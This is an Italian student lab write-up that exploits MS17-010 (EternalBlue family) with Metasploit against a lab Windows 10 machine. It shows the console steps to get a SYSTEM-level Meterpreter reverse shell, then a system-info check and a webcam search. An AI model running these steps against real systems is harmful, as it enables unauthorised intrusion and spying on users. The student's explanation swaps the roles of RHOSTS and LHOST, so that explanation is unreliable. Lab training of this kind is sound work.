

## Traccia:

Sulla base di quanto visto, viene richiesto alla studente di ottenere una sessione di Meterpreter sul target Windows sfruttando con Metasploit la vulnerabilità MS17-010.

Una volta ottenuta la sessione, lo studente dovrà:

- Recuperare uno screenshot tramite la sessione Meterpreter
- Individuare la presenza o meno di Webcam sulla macchina Windows
- Accedere a webcam/fare dump della tastiera/provare altro

## SVOLGIMENTO:

```
msf > search MS17-010
Matching Modules
=====
#  Name
0  exploit/windows/smb/ms17_010_永恒之蓝
1  \_ target: Automatic Target
2  \_ target: Windows 7
3  \_ target: Windows Embedded Standard 7
4  \_ target: Windows Server 2008 R2
5  \_ target: Windows 8
6  \_ target: Windows 8.1
7  \_ target: Windows Server 2012
8  \_ target: Windows 10 Pro
9  \_ target: Windows 10 Enterprise Evaluation
10 exploit/windows/smb/ms17_010_psexec
11 \_ target: Automatic
12 \_ target: PowerShell
13 \_ target: Native upload
14 \_ target: MOF upload
15 \_ AKA: ETERNALSYNERGY
16 \_ AKA: ETERNALROMANCE
17 \_ AKA: ETERNALCHAMPION
18 \_ AKA: ETERNALBLUE
19 auxiliary/admin/smb/ms17_010_command
20 \_ AKA: ETERNALSYNERGY
21 \_ AKA: ETERNALROMANCE
22 \_ AKA: ETERNALCHAMPION
23 \_ AKA: ETERNALBLUE
24 auxiliary/scanner/smb/ms17_010
25 \_ AKA: DOUBLEPULSAR
26 \_ AKA: ETERNALBLUE
27 exploit/windows/smb/smb_doublepulsar_rce
28 \_ target: Execute payload (x64)
29 \_ target: Neutralize implant

# Disclosure Date Rank Check Description
0 2017-03-14 average Yes  MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
10 2017-03-14 normal Yes  MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
19 2017-03-14 normal No   MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
24 2017-04-14 normal No   MS17-010 SMB RCE Detection
27 2017-04-14 great Yes  SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'
msf >
```

per prima cosa ho usato il comando search per trovare l'exploit indicato dalla traccia.

```
msf > use 10
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_psexec) > show options

Module options (exploit/windows/smb/ms17_010_psexec):
=====
Name      Current Setting  Required  Description
-- 
DRSTRACE    false           yes       Show extra debug trace info
LEAKTRANOTS 99             yes       How many bytes to try to leak transaction
NAMEDPIPE
NAMED_PIPES  /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes       List of named pipes to check
RHOSTS
RPORT      445             yes       The target port (TCP)
SERVICE_DESCRIPTION
SERVICE_DISPLAY_NAME
SERVICE_NAME
SHARE      ADMIN$          yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain
SMBPass
SMBUser

Payload options (windows/meterpreter/reverse_tcp):
=====
Name      Current Setting  Required  Description
-- 
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.50.100   yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:
=====
Id  Name
0  Automatic

View the full module info with the info, or info -d command.
msf exploit(windows/smb/ms17_010_psexec) >
```

ho usato direttamente il comando use 10 per fare prima e non scrivere tutto il comando

```
View the full module info with the info, or info -d command.

msf exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.50.102
RHOSTS => 192.168.50.102
msf exploit(windows/smb/ms17_010_psexec) > sett LHOST 192.168.50.100
[-] Unknown command: sett. Did you mean set? Run the help command for more details.
msf exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.50.100
LHOST => 192.168.50.100
msf exploit(windows/smb/ms17_010_psexec) > 
```

ho settato gli Hosts Rhosts con l'indirizzo della macchina kali e Lhost con l'indirizzo della macchina windows.

```
LHOST => 192.168.50.100
msf exploit(windows/smb/ms17_010_psexec) > exploit
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.102:445 - Target OS: Windows 10 Pro 10240
[*] 192.168.50.102:445 - Built a write-what-where primitive ...
[+] 192.168.50.102:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.50.102:445 - Selecting PowerShell target
[*] 192.168.50.102:445 - Executing the payload ...
[+] 192.168.50.102:445 - Service start timed out, OK if running a command or non-service executable ...
[*] Sending stage (188998 bytes) to 192.168.50.102
[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.102:49451) at 2025-11-02 05:44:46 -0500

meterpreter > 
```

dopo aver configurato l'attacco, l'ho fatto partire con il comando exploit durante il processo il sistema ha caricato un payload con successo che ha aperto una sessione meterpreter con privilegi di amministratore come si può vedere nello screen SYSTEM session obtain.

```
meterpreter > sysinfo
Computer        : DESKTOP-9K104BT
OS              : Windows 10 (10.0 Build 10240).
Architecture    : x64
System Language : it_IT
Domain         : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > 
```

```
meterpreter > webcam_list
[-] No webcams were found
meterpreter > 
```

dalla console di meterpreter ho usato il comando sysinfo per appurare che il sistema target era quello dopo di che come da esercizio ho cercato con il comando webcam\_list se c'erano delle webcam a cui potevo accedere ma il sistema non ha trovato nessuna webcam. Non potendo accedere alle web cam ho terminato la sessione con il comando exit.

```
[-] NO webcams were found
meterpreter > exit
[*] Shutting down session: 1
```